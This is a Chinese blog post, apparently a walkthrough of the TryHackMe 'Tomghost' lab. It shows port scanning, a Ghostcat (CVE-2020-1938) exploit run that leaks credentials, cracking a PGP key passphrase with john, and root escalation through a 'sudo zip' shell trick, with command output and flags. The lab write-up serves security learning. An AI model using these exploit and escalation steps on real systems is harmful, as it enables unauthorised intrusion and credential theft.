Tomghost

news/2025/11/19 0:24:04/文章来源:https://www.cnblogs.com/yatq/p/19239840

tomghost

首先扫一下端口:

~$ nmap 10.201.95.183
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-18 11:08 UTC
Nmap scan report for 10.201.95.183
Host is up (0.095s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
8009/tcp open  ajp13
8080/tcp open  http-proxyNmap done: 1 IP address (1 host up) scanned in 2.84 seconds

再看看8080的详情:

Birkenwald@VMLinux:~$ nmap 10.201.95.183
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-18 11:08 UTC
Nmap scan report for 10.201.95.183
Host is up (0.095s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
8009/tcp open  ajp13
8080/tcp open  http-proxyNmap done: 1 IP address (1 host up) scanned in 2.84 seconds
Birkenwald@VMLinux:~$ nmap 10.201.95.183 -sV -p 8080
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-18 11:13 UTC
Nmap scan report for 10.201.95.183
Host is up (0.094s latency).PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat 9.0.30

找历史CVE的exploit

可以用searchsploit来找.

最终使用相关exp拿到账密:

Birkenwald@VMLinux:~$ python2 cve-2020-1938_exp.py 10.201.10.29
Getting resource at ajp13://10.201.10.29:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!--Licensed to the Apache Software Foundation (ASF) under one or morecontributor license agreements.  See the NOTICE file distributed withthis work for additional information regarding copyright ownership.The ASF licenses this file to You under the Apache License, Version 2.0(the "License"); you may not use this file except in compliance withthe License.  You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, softwaredistributed under the License is distributed on an "AS IS" BASIS,WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.See the License for the specific language governing permissions andlimitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="true"><display-name>Welcome to Tomcat</display-name><description>Welcome to GhostCatskyfuck:8730281lkjlkjdqlksalks</description></web-app>

登录后find搜索即可拿到user.txt

尝试使用sudo -l提权,但是提示当前用户不能执行sudo.

尝试找SUID提权:

find / -perm -4000 -type f 2>/dev/null

也没有好用的.

pgp文件爆破解密

回头看home中有两个特殊后缀文件:credential.pgp tryhackme.asc

scp skyfuck@10.201.10.29:/home/skyfuck/ . 

下载文件到本地.

参考:关于PGP加密文件的解密方法 - 野荷 - 博客园

  • 先把asc文件本身的hash解密:

    gpg2john 1.asc > hash.txt 
    
  • 爆破密码asc的hash密码:

    ┌──(kali㉿kali)-[~]
    └─$ john --wordlist=rockyou.txt  hash.txt 
    Using default input encoding: UTF-8
    Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
    Cost 1 (s2k-count) is 65536 for all loaded hashes
    Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
    Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    alexandru        (tryhackme)     
    1g 0:00:00:00 DONE (2025-11-18 10:00) 6.250g/s 6700p/s 6700c/s 6700C/s theresa..alexandru
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed. 
    
  • 解密:

    ┌──(kali㉿kali)-[~]
    └─$ gpg --import tryhackme.asc
    gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
    gpg: key 8F3DA3DEC6707170: secret key imported
    gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
    gpg: Total number processed: 2
    gpg:              unchanged: 2
    gpg:       secret keys read: 1
    gpg:   secret keys imported: 1┌──(kali㉿kali)-[~]
    └─$ gpg --list-secret-keys    
    /home/kali/.gnupg/pubring.kbx
    -----------------------------
    sec   dsa3072 2020-03-11 [SCA]14B3794D5554349A715CDBA08F3DA3DEC6707170
    uid           [ unknown] tryhackme <stuxnet@tryhackme.com>
    ssb   elg1024 2020-03-11 [E]┌──(kali㉿kali)-[~]
    └─$ gpg --decrypt credential.pgp
    gpg: encrypted with elg1024 key, ID 61E104A66184FBCC, created 2020-03-11"tryhackme <stuxnet@tryhackme.com>"
    gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
    merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j                                                        
    

    横向移动+sudo -l提权

登录后zip提权:

merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'adding: etc/hosts (deflated 31%)
# pwd
rm: missing operand
Try 'rm --help' for more information.
# whoami
root
# cd /root
# ls
root.txt  ufw
# cat root.txt    
THM{Z1P_1S_FAKE}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/969486.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

专家分析报告:2025年11月18日Cloudflare全球网络故障及企业级弹性架构蓝图

专家分析报告:2025年11月18日Cloudflare全球网络故障及企业级弹性架构蓝图摘要与执行概要 (Executive Summary and Synopsis)2025年11月18日,互联网基础设施核心提供商Cloudflare遭遇了一次大规模的全球网络故障,对…

2025留学背景提升机构推荐:从科研到实习全覆盖

2025留学背景提升机构推荐:从科研到实习全覆盖一、2025年留学背景提升机构怎么选?这五个问题你可能正在纠结 作为深耕国际教育背景提升领域十年的规划师,我每天都会接到大量学生的咨询。2025年留学申请的“内卷”已…

Wgel CTF

Wgel CTF 刚进去发现是Ubuntu-Apache2的默认界面 源码注释:<!-- Jessie dont forget to udate the webiste -->目录扫描: [12:06:23] Starting: [12:06:27] 403 - 278B - /.ht_wsr.txt …

Pickle Rick

Pickle Rick #################### 正在进行目录扫描..._|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 1226…

在ec2上部署qwen-image模型

参考资料https://zhuanlan.zhihu.com/p/1937260131931882107https://blog.csdn.net/qq_52065352/article/details/150394958https://qianwen-res.oss-cn-beijing.aliyuncs.com/Qwen-Image/Qwen_Image.pdfhttps://model…

一种成熟的状态机

好的!我将线程化状态机实现拆分为头文件和源文件的形式。 1. 头文件 ThreadedStateMachine.hcpp#ifndef THREADED_STATE_MACHINE_H #define THREADED_STATE_MACHINE_H#include <iostream> #include <map>…

linux c 文件删除文件夹

在 Linux 系统中,删除一个文件夹及其内部的所有文件和子文件夹(包括空文件夹)可以使用 rm -r 命令。以下是几种常见的方法:方法 1:使用 rm -r 命令(最常用) rm -r /path/to/folder-r:递归删除(包括子目录) /…

linux c 指针

在 Linux 系统中,C 指针(C Pointer)是用于内存管理和数据结构操作的重要概念。C 语言中的指针是一种非常灵活的工具,可以用来访问和操作内存地址,从而实现高效的程序设计。一、C 指针的基本概念指针:是一个变量,…

AI元人文的“双模决策”体系:自动驾驶与人机协作——附语:关于一个思维陷阱的坦诚

AI元人文的“双模决策”体系:自动驾驶与人机协作 ——附语:关于一个思维陷阱的坦诚 AI元人文构建的双层决策架构:“自动驾驶模式”(基于嵌入式价值协议的自主裁决) 对应场景:绝大多数有预案、可预测的常规及紧急…

2025留学生名企内推首选清单:从实习到入职全程护航,5家实力机构深度测评

2025留学生名企内推首选清单:从实习到入职全程护航,5家实力机构深度测评一、2025年留学生名企内推怎么选?这五个问题你可能正在纠结 作为深耕留学生求职规划领域十年的顾问,我每天都会接到大量留学生及家长的咨询。…

2025新加坡留学机构推荐:从新国大到南洋理工,选对中介少走弯路

2025新加坡留学机构推荐:从新国大到南洋理工,选对中介少走弯路一、2025年新加坡留学中介怎么选?这五个问题你可能正在纠结 作为深耕国际教育规划领域十余年的咨询师,我每天都会接待大量计划赴新留学的学生和家长。…

11.18工作汇总

今日主要完成任务:名人经历搜索上线 明天任务安排: 准备alpha阶段发布 燃尽图

OI 笑传 #30

SuzumenoNamida怎么用 suzume 当摘要阅读这么多,suzume桑是你引的流吗。。。那我再试试。 今天是 ABC432 的 CDEF。超绝注意力场+码力场。 赛时发现 C 比较问号于是去看 DE,结果心血来潮想去把 D 写了,结果还真写出…

2025年11月马来西亚留学中介排名:从本科到博士的专属申请方案

2025年11月马来西亚留学中介排名:从本科到博士的专属申请方案一、2025年马来西亚留学中介怎么选?这五个问题你可能正在纠结 作为一位深耕东南亚国际教育规划领域十年的咨询师,我每天都会接待大量计划赴马留学的学生…

rust基础第一篇:环境搭建

rust基础第一篇:环境搭建windows环境,cargo build报错error: linking with `link.exe` failed: exit code: 1

43

所学时间;9小时

Windows-Delivery-Optimization

Windows-Delivery-Optimization导航 (返回顶部)1. Dosvc 2. 传递优化的副作用2.1 关闭传递优化 2.2 设置服务失败后的操作 2.3 禁用端口7680 2.4 删除超大文件3. 设置传递优化 4. 扩展阅读4.1 如何在 Windows 中创建和…

2025韩国留学选中介不踩坑,5家高性价比机构深度测评

2025韩国留学选中介不踩坑,5家高性价比机构深度测评一、2025年韩国留学中介怎么选?这五个问题你可能正在纠结 作为一位深耕东亚留学规划领域十年的咨询师,我每天都会接待大量准备赴韩留学的学生和家长。2025年韩国留…

今晚Cloudflare一哆嗦,我的加班计划全泡汤

事情发生在今晚加班的黄金时间。我正对着代码发愁,想着让ChatGPT帮我debug一下。结果连续三次重试,等来的都是冷冰冰的错误页面。 "行吧,AI也有累的时候",我自我安慰着,顺手想点开X摸鱼五分钟。 结果呢…